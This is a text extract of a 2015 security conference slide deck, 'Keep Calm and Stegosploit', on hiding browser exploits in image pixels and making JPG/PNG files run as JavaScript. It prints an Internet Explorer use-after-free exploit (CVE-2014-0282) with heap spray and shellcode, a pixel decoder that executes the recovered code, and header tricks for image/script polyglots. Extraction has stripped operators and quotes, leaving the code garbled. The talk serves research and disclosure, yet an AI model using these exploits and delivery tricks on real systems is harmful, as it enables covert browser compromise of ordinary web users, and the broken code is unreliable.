SlideShare a Scribd company logo
net-square
KEEP CALM
AND
STEGOSPLOIT	

SAUMIL SHAH	

44CON 2015
net-square
About Me
@therealsaumil
saumilshah
hacker, trainer, speaker,
author, photographer
educating, entertaining and
exasperating audiences
since 1999
Saumil Shah
CEO, Net-Square
net-square
net-square
UNFORTUNATELY, NO ONE CAN BE TOLD. . .
. . . WHAT STEGOSPLOIT IS
net-square
A good exploit
is one that is
delivered
with style
net-square
History
•  Traditional
Steganography
•  GIFAR
concatenation
•  PHP/ASP webshells
appending/
embedding tags
?php..? %..%
•  XSS in EXIF data
net-square
Stegosploit - Motivations
I 3 Photography + I 3 Browser Exploits
= I 3 (Photography + Browser Exploits)
net-square
Stegosploit is...
not a 0-day attack with a cute logo
not exploit code hidden in EXIF
not a PHP/ASP webshell
not a new XSS vector
Stegosploit lets you deliver existing
BROWSER EXPLOITS using pictures.
net-square
Images are
INNOCENT...
net-square
...but Exploits are NOT!
net-square
Dangerous Content Is ...Dangerous
Attack
Payload
SAFE
decoder
DANGEROUS
Pixel Data
net-square
Browser Exploit Delivery
BROWSEREXPLOIT
net-square
Exploit Delivery as seen today
BROWSEROBFUSCATED
EXPLOIT
net-square
BROWSER
STEGO-
ENCODER
POLYGLOT
STEGO-
DECODER
Exploit Delivery with Stegosploit
EXPLOIT
net-square
Hacking with pictures, in style!
•  Network traffic - ONLY image files.
•  Exploit hidden in pixels.
– no visible aberration or distortion.
•  Image auto runs upon load.
– decoder code bundled WITH the image.
•  Exploit automatically decoded and
triggered.
•  ...all with 1 image.
net-square
Hiding the Exploit
Code in the Image
Step 1
net-square
Hiding an Exploit in an Image
•  Simple steganography techniques.
•  Encode exploit code bitstream into
lesser significant bits of RGB values.
•  Spread the pixels around e.g. 4x4 grid.
net-square
kevin.jpg
Face Painting an Exploit
function H5(){this.d=[];this.m=new Array();this.f=new Array()}H5.prototype.flatten=function(){for(var f=0;fthis.d.length;f+
+){var n=this.d[f];if(typeof(n)=='number'){var c=n.toString(16);while(c.length8){c='0'+c}var l=function(a)
{return(parseInt(c.substr(a,2),16))};var
g=l(6),h=l(4),k=l(2),m=l(0);this.f.push(g);this.f.push(h);this.f.push(k);this.f.push(m)}if(typeof(n)=='string'){for(var
d=0;dn.length;d++){this.f.push(n.charCodeAt(d))}}}};H5.prototype.fill=function(a){for(var c=0,b=0;ca.data.length;c++,b
++){if(b=8192){b=0}a.data[c]=(bthis.f.length)?this.f[b]:255}};H5.prototype.spray=function(d){this.flatten();for(var
b=0;bd;b++){var c=document.createElement('canvas');c.width=131072;c.height=1;var
a=c.getContext('2d').createImageData(c.width,c.height);this.fill(a);this.m[b]=a}};H5.prototype.setData=function(a)
{this.d=a};var flag=false;var heap=new H5();try{location.href='ms-help:'}catch(e){}function spray(){var a='xfc
xe8x89x00x00x00x60x89xe5x31xd2x64x8bx52x30x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4a
x26x31xffx31xc0xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf0x52x57x8bx52x10x8bx42x3c
x01xd0x8bx40x78x85xc0x74x4ax01xd0x50x8bx48x18x8bx58x20x01xd3xe3x3cx49x8bx34x8b
x01xd6x31xffx31xc0xacxc1xcfx0dx01xc7x38xe0x75xf4x03x7dxf8x3bx7dx24x75xe2x58x8b
x58x24x01xd3x66x8bx0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24x24x5bx5bx61x59x5a
x51xffxe0x58x5fx5ax8bx12xebx86x5dx6ax01x8dx85xb9x00x00x00x50x68x31x8bx6fx87xffxd5xbb
xf0xb5xa2x56x68xa6x95xbdx9dxffxd5x3cx06x7cx0ax80xfbxe0x75x05xbbx47x13x72x6fx6ax00x53xff
xd5x63x61x6cx63x2ex65x78x65x00';var c=[];for(var b=0;b1104;b+=4){c.push(1371756628)}
c.push(1371756627);c.push(1371351263);var
f=[1371756626,215,2147353344,1371367674,202122408,4294967295,202122400,202122404,64,202116108,2021212
48,16384];var d=c.concat(f);d.push(a);heap.setData(d);heap.spray(256)}function changer(){var c=new Array();for(var
a=0;a100;a++){c.push(document.createElement('img'))}if(flag)
{document.getElementById('fm').innerHTML='';CollectGarbage();var b='u2020u0c0c';for(var a=4;a110;a+=2){b
+='u4242'}for(var a=0;ac.length;a++){c[a].title=b}}}function run()
{spray();document.getElementById('c2').checked=true;document.getElementById('c2').onpropertychange=changer;flag=
true;document.getElementById('fm').reset()}setTimeout(run,1000);
IE Use-After-Free CVE-2014-0282
net-square
kevin.jpg
Bit layer 7 (MSB) Bit layer 6
Bit layer 5 Bit layer 4
Bit layer 3 Bit layer 2
Bit layer 1 Bit layer 0 (LSB)
Image separated
into Bit Layers
net-square
Encoding data at
bit layer 7
Significant visual
distortion.
net-square
Encoding data at
bit layer 2
Negligble visual
distortion while
encoding at lower
layers.
net-square
Encoding data at
bit layer 2
Encoded pixels visible in
certain parts when bit
layer 2 is filtered and
equalized
Final encoded image shows no perceptible
visual aberration or distortion.
net-square
Encoding on JPG
•  JPG – lossy compression.
•  Pixels may be approximated to their
nearest neighbours.
•  Overcoming lossy compression by
ITERATIVE ENCODING.
•  Can't go too deep down the bit layers.
•  IE's JPG encoder is terrible!
•  Browser specific JPG quirks.
net-square
Encoding on PNG
•  Lossless compression.
•  Can encode at bit layer 0.
– minimum visual distortion.
•  Independent of browser library
implementation.
•  Single pass encoding.
•  JPG is still more popular than PNG!
net-square
Decoding the encoded
Pixel Data
Step 2
net-square
HTML5 CANVAS is our friend!
•  Read image pixel data using JS.
•  In-browser decoding of
steganographically
encoded images.
net-square
The Decoder
var bL=2,eC=3,gr=3;function i0(){px.onclick=dID}function dID(){var
b=document.createElement(canvas);px.parentNode.insertBefore(b,px);b.width
=px.width;b.height=px.height;var m=b.getContext(2d);m.drawImage(px,
0,0);px.parentNode.removeChild(px);var
f=m.getImageData(0,0,b.width,b.height).data;var h=[],j=0,g=0;var
c=function(p,o,u){n=(u*b.width+o)*4;var z=1bL;var s=(p[n]z)bL;var
q=(p[n+1]z)bL;var a=(p[n+2]z)bL;var t=Math.round((s+q+a)/
3);switch(eC){case 0:t=s;break;case 1:t=q;break;case 2:t=a;break;}
return(String.fromCharCode(t+48))};var k=function(a){for(var
q=0,o=0;oa*8;o++){h[q++]=c(f,j,g);j+=gr;if(j=b.width){j=0;g
+=gr}}};k(6);var d=parseInt(bTS(h.join()));k(d);try{CollectGarbage()}
catch(e){}exc(bTS(h.join()))}function bTS(b){var
a=;for(i=0;ib.length;i+=8)a+=String.fromCharCode(parseInt(b.substr(i,8),
2));return(a)}function exc(b){var a=setTimeout((new Function(b)),100)}
window.onload=i0;
net-square
Images that
Auto Run
Step 3
net-square
When is an image not
an image?
When it is Javascript!
net-square
IMAJS
I SEE PIXELS I SEE CODE
net-square
IMAJS – The Concept
Image Javascript
Holy
Sh**
Bipolar
Content!
img sees pixels
script sees code
#YourPointOfView
net-square
img src=#
script src=#/script
IMAJS - Polyglot
net-square Hat tip: Michael Zalewski @lcamtuf
I JPG
All new IMAJS-JPG!
JPG +HTML +JS +CSS
net-square
The Secret Sauce
shhh..
don't tell
anyone
net-square
JPG Secret Sauce
Regular JPEG Header
FF D8 FF E0 00 10 4A 46 49 46 00 01 01 01 01 2C
01 2C 00 00 FF E2 ...
Start marker length
next section...
J F I F 0
Modified JPEG Header
FF D8 FF E0 2F 2A 4A 46 49 46 00 01 01 01 01 2C
01 2C 00 00 41 41 41 41 41...12074..41 41 41 FF E2 ...
Start marker length
next section...
J F I F 0
whole lot of extra space!
net-square
JPG Secret Sauce
Modified JPEG Header
See the difference?
FF D8 FF E0 /* 4A 46 49 46 00 01 01 01 01 2C
01 2C 00 00 */='';alert(Date());/*...41 41 41 FF E2 ...
Start marker comment!
next section...Javascript goes here
FF D8 FF E0 2F 2A 4A 46 49 46 00 01 01 01 01 2C
01 2C 00 00 41 41 41 41 41...12074..41 41 41 FF E2 ...
Start marker length
next section...
J F I F 0
whole lot of extra space!
net-square
I PNG
All new IMAJS-PNG!
PNG +HTML +JS +CSS
net-square
PNG Secret Sauce - FourCC
PNG Header 89 50 4E 47 0D 0A 1A 0A
IHDR IHDRlength chunk data CRC
IDATlength pixel data CRCIDAT chunk
IDATlength pixel data CRCIDAT chunk
IDATlength pixel data CRCIDAT chunk
IEND0 CRCIEND chunk
www.fourcc.org
net-square
PNG Secret Sauce - FourCC
PNG Header 89 50 4E 47 0D 0A 1A 0A
IHDR IHDRlength chunk data CRC
tEXtlength html !-- CRC
tEXtlength _ random chars ...
CRC
... random chars ...
-- decoder HTML and script goes here ..
script type=text/undefined/*...
extra tEXt chunk
extra tEXt chunk
IDATlength pixel data CRCIDAT chunk
IDATlength pixel data CRCIDAT chunk
IDATlength pixel data CRCIDAT chunk
IEND0 CRCIEND chunk
Inspiration: http://daeken.com/superpacking-js-demos
net-square
The Finer Points of
Package Delivery
Step 4
net-square
A Few Browser Tricks...
Content
Sniffing
Expires and
Cache-Control
Clever CSS
net-square
Content Sniffing
Credits: Michael Zalewski @lcamtuf
net-square
Dive Into Cache
GET /stego.jpg
HTTP 200 OK
Expires: May 30 2015
GET /stego.jpg
o hai
o hai
net-square
IE CInput Use-After-Free
stego IMAJS PWN!
CVE-2014-0282
net-square
Firefox onreadystatechange UAF
stego IMAJS PWN!
CVE-2013-1690
net-square
net-square
 PAYLOADS GO
back in time
net-square
Exploit code
encoded in image.
EVIL
GET /lolcat.png
200 OK
Expires: 6 months
I'M IN UR BASE
Decoder script references image
from cache.
SAFE
GET /lolcat.png
Load from cache
....KILLING UR DOODZ
AUG 2015 DEC 2015
 ATTACK TIMELINE
net-square
PoC||GTFO 0x08
stegosploit.info
net-square
Conclusions - Offensive
•  Lot of possibilities!
•  Weird containers, weird encoding, weird
obfuscation.
•  Image attacks emerging in the wild.
•  CANVAS + CORS = spread the payloads.
•  Not limited to just browsers.
net-square
Conclusions - Defensive
•  DFIR nightmare.
– how far back does your window of
inspection go?
•  Can't rely on extensions, file headers,
MIME types or magic numbers.
•  Wake up call to browser-wallahs.
•  Quick fix – re-encode all images!
net-square
Greets!
@lcamtuf
@angealbertini
@0x6D6172696F
Kevin McPeake
#44CON CREW!
Photographyby
Saumil Shah
net-square
THE
END
Saumil
Shah
@therealsaumil
saumilshah
saumil@net-square.com
Photography
flickr.com/saumil
www.spectral-lines.in

More Related Content

PPTX
Innovative Exploit Delivery
PDF
Stegosploit - Hacking With Pictures HITB2015AMS
PDF
Hacking with Pictures - Hack.LU 2014
PDF
Deadly pixels - NSC 2013
PPTX
2012: The End of the World?
PPTX
Exploit Delivery
PDF
12 Years and a Baker's Dozen - Lessons and Learnings from my Infosec Journey
PDF
15 years through Infosec
Innovative Exploit Delivery
Stegosploit - Hacking With Pictures HITB2015AMS
Hacking with Pictures - Hack.LU 2014
Deadly pixels - NSC 2013
2012: The End of the World?
Exploit Delivery
12 Years and a Baker's Dozen - Lessons and Learnings from my Infosec Journey
15 years through Infosec

Viewers also liked (7)

PDF
DEF CON 23 - NSM 101 for ICS
PDF
Stegosploit - Blackhat Europe 2015
PDF
2016: The Infosec Crossroads - Keynote at Intuit #Hacktober2015
PDF
Stegosploit - NCSC ONE 2016
PDF
The Infosec Crossroads - 44CON 2016
PDF
Stegosploit - Hack.LU 2015
PDF
Hack.LU - The Infosec Crossroads
DEF CON 23 - NSM 101 for ICS
Stegosploit - Blackhat Europe 2015
2016: The Infosec Crossroads - Keynote at Intuit #Hacktober2015
Stegosploit - NCSC ONE 2016
The Infosec Crossroads - 44CON 2016
Stegosploit - Hack.LU 2015
Hack.LU - The Infosec Crossroads
Ad

Similar to Keep Calm and Stegosploit - 44CON 2015 (20)

PDF
Hacking With Pictures SyScan 2015
PPTX
Ie9 dev overview (300) beta
PPTX
PDF
CSS and image optimization
PDF
VitaFlow | Mageswaran Dhandapani [Pramati]
PDF
Dead Pixel: A Practical Guide to Attacking Server-Side Image Processors (BSid...
PDF
[convergese] Adaptive Images in Responsive Web Design
PDF
[CSSDevConf] Adaptive Images in Responsive Web Design 2014
PDF
Building a game engine with jQuery
PPTX
From HTML to pixels on the Screen
PDF
Accelerating Real Time Video Analytics on a Heterogenous CPU + FPGA Platform
PDF
2022.04 - CSS Day IT - Images Optimisation 4.0
PDF
iOS 8 and iPhone 6 for web developers and designers
PDF
44CON 2014 - Stupid PCIe Tricks, Joe Fitzpatrick
PDF
Andreas Zeitler (Vuframe): Virtual & Augmented Business: How to Discover and ...
PDF
Performance as UX with Justin Howlett
PDF
Designing for The Modern Web
PDF
Advanced Web Graphics with Canvas
PDF
Elizabeth Perry: Processing programming language, part 2
PDF
Browser Visualization using PNGs Generated by HTML5 Workers on Multicore
Hacking With Pictures SyScan 2015
Ie9 dev overview (300) beta
CSS and image optimization
VitaFlow | Mageswaran Dhandapani [Pramati]
Dead Pixel: A Practical Guide to Attacking Server-Side Image Processors (BSid...
[convergese] Adaptive Images in Responsive Web Design
[CSSDevConf] Adaptive Images in Responsive Web Design 2014
Building a game engine with jQuery
From HTML to pixels on the Screen
Accelerating Real Time Video Analytics on a Heterogenous CPU + FPGA Platform
2022.04 - CSS Day IT - Images Optimisation 4.0
iOS 8 and iPhone 6 for web developers and designers
44CON 2014 - Stupid PCIe Tricks, Joe Fitzpatrick
Andreas Zeitler (Vuframe): Virtual & Augmented Business: How to Discover and ...
Performance as UX with Justin Howlett
Designing for The Modern Web
Advanced Web Graphics with Canvas
Elizabeth Perry: Processing programming language, part 2
Browser Visualization using PNGs Generated by HTML5 Workers on Multicore
Ad

More from Saumil Shah (20)

PDF
The Hand That Strikes, Also Blocks
PDF
Debugging with EMUX - RIngzer0 BACK2WORKSHOPS
PDF
Unveiling EMUX - ARM and MIPS IoT Emulation Framework
PDF
Announcing ARMX Docker - DC11332
PDF
Precise Presentations
PDF
Effective Webinars: Presentation Skills for a Virtual Audience
PDF
INSIDE ARM-X Cansecwest 2020
PDF
Cyberspace And Security - India's Decade Ahead
PDF
Cybersecurity And Sovereignty - A Look At Society's Transformation In Cyberspace
PDF
NSConclave2020 The Decade Behind And The Decade Ahead
PDF
Cybersecurity In India - The Decade Ahead
PDF
INSIDE ARM-X - Countermeasure 2019
PDF
Introducing ARM-X
PDF
The Road To Defendable Systems - Emirates NBD
PDF
The CISO's Dilemma 44CON 2019
PDF
The CISO's Dilemma HITBGSEC2019
PDF
Schrödinger's ARM Assembly
PDF
ARM Polyglot Shellcode - HITB2019AMS
PDF
What Makes a Compelling Photograph
PDF
Make ARM Shellcode Great Again - HITB2018PEK
The Hand That Strikes, Also Blocks
Debugging with EMUX - RIngzer0 BACK2WORKSHOPS
Unveiling EMUX - ARM and MIPS IoT Emulation Framework
Announcing ARMX Docker - DC11332
Precise Presentations
Effective Webinars: Presentation Skills for a Virtual Audience
INSIDE ARM-X Cansecwest 2020
Cyberspace And Security - India's Decade Ahead
Cybersecurity And Sovereignty - A Look At Society's Transformation In Cyberspace
NSConclave2020 The Decade Behind And The Decade Ahead
Cybersecurity In India - The Decade Ahead
INSIDE ARM-X - Countermeasure 2019
Introducing ARM-X
The Road To Defendable Systems - Emirates NBD
The CISO's Dilemma 44CON 2019
The CISO's Dilemma HITBGSEC2019
Schrödinger's ARM Assembly
ARM Polyglot Shellcode - HITB2019AMS
What Makes a Compelling Photograph
Make ARM Shellcode Great Again - HITB2018PEK

Recently uploaded (20)

PDF
Product Update: Alluxio AI 3.7 Now with Sub-Millisecond Latency
PPTX
history of c programming in notes for students .pptx
PDF
Design an Analysis of Algorithms I-SECS-1021-03
PDF
Digital Systems & Binary Numbers (comprehensive )
PPTX
AMADEUS TRAVEL AGENT SOFTWARE | AMADEUS TICKETING SYSTEM
PDF
Tally Prime Crack Download New Version 5.1 [2025] (License Key Free
PDF
iTop VPN Free 5.6.0.5262 Crack latest version 2025
PPTX
Patient Appointment Booking in Odoo with online payment
PDF
wealthsignaloriginal-com-DS-text-... (1).pdf
PDF
Navsoft: AI-Powered Business Solutions & Custom Software Development
PDF
Salesforce Agentforce AI Implementation.pdf
PDF
AI-Powered Threat Modeling: The Future of Cybersecurity by Arun Kumar Elengov...
PDF
AutoCAD Professional Crack 2025 With License Key
PDF
Odoo Companies in India – Driving Business Transformation.pdf
PDF
EN-Survey-Report-SAP-LeanIX-EA-Insights-2025.pdf
PDF
Adobe Illustrator 28.6 Crack My Vision of Vector Design
PDF
Download FL Studio Crack Latest version 2025 ?
PPTX
Reimagine Home Health with the Power of Agentic AI​
PPTX
Agentic AI Use Case- Contract Lifecycle Management (CLM).pptx
PDF
How AI/LLM recommend to you ? GDG meetup 16 Aug by Fariman Guliev
Product Update: Alluxio AI 3.7 Now with Sub-Millisecond Latency
history of c programming in notes for students .pptx
Design an Analysis of Algorithms I-SECS-1021-03
Digital Systems & Binary Numbers (comprehensive )
AMADEUS TRAVEL AGENT SOFTWARE | AMADEUS TICKETING SYSTEM
Tally Prime Crack Download New Version 5.1 [2025] (License Key Free
iTop VPN Free 5.6.0.5262 Crack latest version 2025
Patient Appointment Booking in Odoo with online payment
wealthsignaloriginal-com-DS-text-... (1).pdf
Navsoft: AI-Powered Business Solutions & Custom Software Development
Salesforce Agentforce AI Implementation.pdf
AI-Powered Threat Modeling: The Future of Cybersecurity by Arun Kumar Elengov...
AutoCAD Professional Crack 2025 With License Key
Odoo Companies in India – Driving Business Transformation.pdf
EN-Survey-Report-SAP-LeanIX-EA-Insights-2025.pdf
Adobe Illustrator 28.6 Crack My Vision of Vector Design
Download FL Studio Crack Latest version 2025 ?
Reimagine Home Health with the Power of Agentic AI​
Agentic AI Use Case- Contract Lifecycle Management (CLM).pptx
How AI/LLM recommend to you ? GDG meetup 16 Aug by Fariman Guliev

Keep Calm and Stegosploit - 44CON 2015